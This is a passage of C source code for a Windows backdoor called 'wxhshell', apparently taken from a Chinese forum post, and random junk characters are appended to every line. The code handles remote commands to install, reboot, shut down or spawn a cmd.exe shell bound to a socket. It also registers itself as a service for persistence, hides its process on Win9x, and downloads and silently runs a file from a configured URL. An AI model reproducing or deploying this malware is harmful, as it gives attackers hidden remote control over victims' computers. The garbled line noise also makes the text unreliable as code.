      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Eia=@  
    break; DfkGNBY  
  } @CR<&^s5V  
  // 安装 #l) o<Z  
  case 'i': { wk'(g_DP  
    if(Install()) D)L~vA/8b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1A;,"8kBd  
    else XH0Vs.w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c;29GHs2  
    break; x=K'Jj  
    } yIpgZ0:h  
  // 卸载 RigS1A\2l  
  case 'r': { JeVbFZ8  
    if(Uninstall()) wuCZz{c7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PCDvEbpG  
    else 'q/C: Yo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w5-^Py  
    break; ~ c~j  
    } P-^-~/>n  
  // 显示 wxhshell 所在路径 Lo[;{A$u  
  case 'p': { /HqD4GDoug  
    char svExeFile[MAX_PATH]; .d#Hh&jj  
    strcpy(svExeFile,"\n\r"); 92,@tNQQ}  
      strcat(svExeFile,ExeFile); (ux9"r^g;x  
        send(wsh,svExeFile,strlen(svExeFile),0); ga1b%5]v.  
    break; ZS3T1 <z  
    } o+^e+ptc  
  // 重启 d`?EEO  
  case 'b': { $WE _aNfja  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %0815 5M  
    if(Boot(REBOOT)) <T'fJcR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5|l8<\  
    else { (7~vOWs:[  
    closesocket(wsh); `yhc,5M  
    ExitThread(0); ][OkydE  
    } +K=RMqM-8  
    break; geM`O|Np  
    } BlqfST#6  
  // 关机 2mx }bj8  
  case 'd': { &&}c R:U,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =AHV{V~  
    if(Boot(SHUTDOWN)) E}36  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |~Awm"  
    else { u91  
    closesocket(wsh); ``Um$i~e%  
    ExitThread(0); Ex}TDmTu  
    } H 0Sm4  
    break; b?9'-hK<  
    } Y8mv[+Z  
  // 获取shell  >qI:  
  case 's': { ZkMHy1  
    CmdShell(wsh); (Zy=e?E,  
    closesocket(wsh); hL;??h,!_  
    ExitThread(0); m|Z[8Tup  
    break; i-k(/Y0  
  } k'[\r>T  
  // 退出 hB:+_[=Kj.  
  case 'x': { G<*h,'B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uzn  
    CloseIt(wsh); ,5sv;  
    break; {5fq4A A6  
    } w6B`_Z'f  
  // 离开 iVqF]2 >  
  case 'q': { a}Jy o!.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KA`)dMWL  
    closesocket(wsh); % e70*;  
    WSACleanup(); $i `@0+:  
    exit(1); 2[Qzx%Vp  
    break; F<6{$YI  
        } (ubK i[)  
  } wz'in  
  } B)-P# ,}  
R?*-ZI[>w  
  // 提示信息 hn/SS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qbj:^{`>(  
} P6tJo{l8w  
  } I|mxyyf  
k"FY &;G(G  
  return; NL ceBok  
} 0g@*N4  
RQn3y-N]  
// shell模块句柄 )T^aJ-Uf  
int CmdShell(SOCKET sock) 0ENqK2  
{ AkqGk5e ^  
STARTUPINFO si; #|e5i9l*B  
ZeroMemory(&si,sizeof(si)); 1Imb"E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0*u X2*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <DdzDbgax  
PROCESS_INFORMATION ProcessInfo; Od]wh  
char cmdline[]="cmd"; c$3ZEe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Qm .k$[  
  return 0; dnX^?  
} ui^v.YCMI  
#+3I$ k  
// 自身启动模式 ?Vr~~v"fg8  
int StartFromService(void) ]"1\z>Hg  
{ "w{,ndZ  
typedef struct `udZ =S"/L  
{ 3dI(gm6  
  DWORD ExitStatus;  PuU<  
  DWORD PebBaseAddress; Z~7}  
  DWORD AffinityMask; xWty2/!h  
  DWORD BasePriority; xm<sH!,j  
  ULONG UniqueProcessId; uFi[50  
  ULONG InheritedFromUniqueProcessId; y\[GS2nTX  
}   PROCESS_BASIC_INFORMATION; "}UYsXg  
pvd9wKz  
PROCNTQSIP NtQueryInformationProcess; 7m 9T'  
ngaQa-8w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ),I7+rY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AzBpQb*  
c6pGy%T-  
  HANDLE             hProcess; }(if|skau  
  PROCESS_BASIC_INFORMATION pbi; E{|n\|  
+Sdki::  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $U5$*R@jo[  
  if(NULL == hInst ) return 0; X1h*.reFAL  
rxIYgh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v]KI=!Gs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y/A<eHLy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @Cd}1OT)  
kC6s_k  
  if (!NtQueryInformationProcess) return 0; qfEB VS(  
cE]#23  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E;x~[MA  
  if(!hProcess) return 0; K,GX5c5  
;%aWA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ol8uV{:"  
6NqLo^ "g  
  CloseHandle(hProcess); GUK3`}!%  
7wc{.~+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bc y$"F|r  
if(hProcess==NULL) return 0; gIXc-=Ut  
A,#hYi=-,  
HMODULE hMod; zn{[]J  
char procName[255]; Tn3f5ka'  
unsigned long cbNeeded; su]ywVoRT  
(wsvj61  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mkmVDRK  
Kx[z7]1@  
  CloseHandle(hProcess); x@>^c:-f  
=Hs~fHa)  
if(strstr(procName,"services")) return 1; // 以服务启动 cYEe`?*  
ud.Bzg:/  
  return 0; // 注册表启动 3#T_(  
} V 5ihplAk  
OKq={l  
// 主模块 Y_Lsmq2!  
int StartWxhshell(LPSTR lpCmdLine)  7QkAr  
{ &U/~*{  
  SOCKET wsl; @$'1  
BOOL val=TRUE; IsCJdgG  
  int port=0; {VE$i2nC8  
  struct sockaddr_in door; P X<,/6gz  
Mky8qVQ2  
  if(wscfg.ws_autoins) Install(); =1vVI Twl  
_j2h3lCT  
port=atoi(lpCmdLine); !P26$US%P  
rJm%qSZz  
if(port<=0) port=wscfg.ws_port; }t #Hq  
$yb8..+  
  WSADATA data; Q-N.23\1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  qz:_T  
YB}_zuZ4&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pjff%r^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YR`Mi.,Sfm  
  door.sin_family = AF_INET; \ o&i63u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1P\_3.V{  
  door.sin_port = htons(port); Z;mDMvIu (  
7e"(]NC84  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uNY]%[AnJ  
closesocket(wsl); ] H[FZY  
return 1; r4qFEFV3%  
} 8)k.lPoo.  
3?uP$(l  
  if(listen(wsl,2) == INVALID_SOCKET) { , 0rC_)&B  
closesocket(wsl); :+,qvu!M7  
return 1; %tzz3Y  
} m,TqyP#  
  Wxhshell(wsl); ?Xo9,4V1  
  WSACleanup(); X|wXTecg*|  
#Y*AGxk  
return 0; F'#e]/V1  
:1>R~2  
} |E]YP~h  
} q ? iJ?P  
// 以NT服务方式启动 Z{n7z$s*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /bylA`IMW  
{ vP'R7r2Yx  
DWORD   status = 0; 3-8Vw$u  
  DWORD   specificError = 0xfffffff; {UYqRfgbZ  
uyG4zV\h*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $P@P}%2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e"|9%AW@<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J:mOg95<  
  serviceStatus.dwWin32ExitCode     = 0; %/MK$  
  serviceStatus.dwServiceSpecificExitCode = 0; wL 5).`oq  
  serviceStatus.dwCheckPoint       = 0; lv ^=g  
  serviceStatus.dwWaitHint       = 0; I/)dXk~  
/HDX[R   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pp[? k}@  
  if (hServiceStatusHandle==0) return;  m|"MJP  
*qBMt[a  
status = GetLastError(); Qzh:*O  
  if (status!=NO_ERROR) R/O_*XY  
{ %r!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T+4Musu{V  
    serviceStatus.dwCheckPoint       = 0; "5jZS6A]  
    serviceStatus.dwWaitHint       = 0; 6]gs{zG  
    serviceStatus.dwWin32ExitCode     = status; }u+R,@l/  
    serviceStatus.dwServiceSpecificExitCode = specificError;  "rjJ"u 1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  (lPNMS|V  
    return; 9 au)K!hN  
  } s_Dl8O4u  
i]$7w! r&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 65J'u N  
  serviceStatus.dwCheckPoint       = 0; x{ZVq 4  
  serviceStatus.dwWaitHint       = 0; uX0wg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cdIy[ 1  
} xSOL4  
I@L-%#@R1  
// 处理NT服务事件,比如:启动、停止 Y9w= [[1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d=4MqX r  
{ esu6iU@  
switch(fdwControl) ln=zGX.e  
{ {U(h]'  
case SERVICE_CONTROL_STOP: zPkg3H  
  serviceStatus.dwWin32ExitCode = 0; _mkI;<d]$T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m#;:%.Rm  
  serviceStatus.dwCheckPoint   = 0; ga~vQ7I_  
  serviceStatus.dwWaitHint     = 0; !J6s^um  
  { 'FUPv61()  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gCm?nb)  
  } \qTn"1b Q  
  return; YHRI UY d  
case SERVICE_CONTROL_PAUSE: &'](T9kg=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nm081ic2<  
  break; gaCGU<L  
case SERVICE_CONTROL_CONTINUE: ckP3[@Su {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +`4}bc ,G  
  break; b{dzbmak  
case SERVICE_CONTROL_INTERROGATE: OVh/t# On  
  break; Uq+ _#{2(  
}; m5x>._7le  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < NAR'{f  
} BA>0 +  
Q)}\4&4  
// 标准应用程序主函数 n[WeN NU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8 [."%rzN  
{ m X1oRhf  
q}1$OsM  
// 获取操作系统版本 6aK--k  
OsIsNt=GetOsVer(); P< &/$x6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %8{_;-f  
OLR1/t`V  
  // 从命令行安装 ^#Y6 E  
  if(strpbrk(lpCmdLine,"iI")) Install(); M!jW=^\  
)Ud S (Bj  
  // 下载执行文件 =Fs LF  
if(wscfg.ws_downexe) { uE|[7,D7;u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -*Pt781  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zn} )&Xt  
} ]`kvq0Gyb  
}n 7e_qy4  
if(!OsIsNt) { i|O7nB@  
// 如果时win9x,隐藏进程并且设置为注册表启动 <&Uk!1Jd  
HideProc(); GJuD :  
StartWxhshell(lpCmdLine); [uY 2N h  
} SWGa%6|  
else j`GbI0,bT  
  if(StartFromService()) ,6bMf z  
  // 以服务方式启动 JS:lysu  
  StartServiceCtrlDispatcher(DispatchTable); D7(t6C=FP  
else xq)/QR  
  // 普通方式启动 _NZHrN  
  StartWxhshell(lpCmdLine); A-u5  
=iQm_g  
return 0;  0EB'!  
}
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只看该作者 1 发表于: 2006-10-10
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